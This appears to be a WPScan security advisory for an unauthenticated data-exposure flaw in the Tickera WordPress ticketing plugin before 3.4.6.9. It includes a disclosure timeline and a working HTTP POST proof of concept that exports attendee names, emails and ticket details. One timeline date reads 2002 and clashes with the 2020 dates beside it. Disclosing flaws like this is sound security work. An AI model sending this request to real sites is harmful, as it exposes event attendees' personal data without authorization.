Tickera WordPress Event Ticketing < 3.4.6.9 - Unauthenticated Sensitive Data Exposure



Description
Due to missing authorization controls in the "admin_init" hooks, all personal data from registered users of an event could be exported into a downloadable PDF file by every unauthenticated user. The event ID could be read from the page source and/or easily enumerated in sequence.

According to the original researcher, "After several attempts to contact the Plugin vendor (Twitter, email), we followed generally accepted disclosure guidelines. A lengthy correspondence with Tickera support was not successful as well."


Edit (WPScanTeam)
April 8th, 2020 - Report Received & Escalated to WP Plugins Team
April 9th, 2002 - v3.4.6.9 released
April 11th, 2020 - Disclosure
Proof of Concept
POST /wp-admin/admin-post.php HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 310

page=tickera-event-ticketing-system&tc_export_event_data=[PUT_EVENT_ID_HERE]&col_owner_name=on&col_payment_date=on&col_ticket_id=on&col_ticket_type=on&col_buyer_name=on&col_buyer_email=on&col_checked_in=on&col_checkins=on&document_font=helvetica&document_font_size=14&document_orientation=L&document_size=A4&document_title=LEAK

Affects Plugin

fixed in version 3.4.6.9

Classification

Type BYPASS

Miscellaneous

Original Researcher Florian Hauser
Submitter Twitter @frycos
Views 1680
Verified Yes
WPVDB ID 10174

Timeline

Publicly Published 2020-04-11 (about 1 month ago)
Added 2020-04-11 (about 1 month ago)
Last Updated 2020-04-13 (about 1 month ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin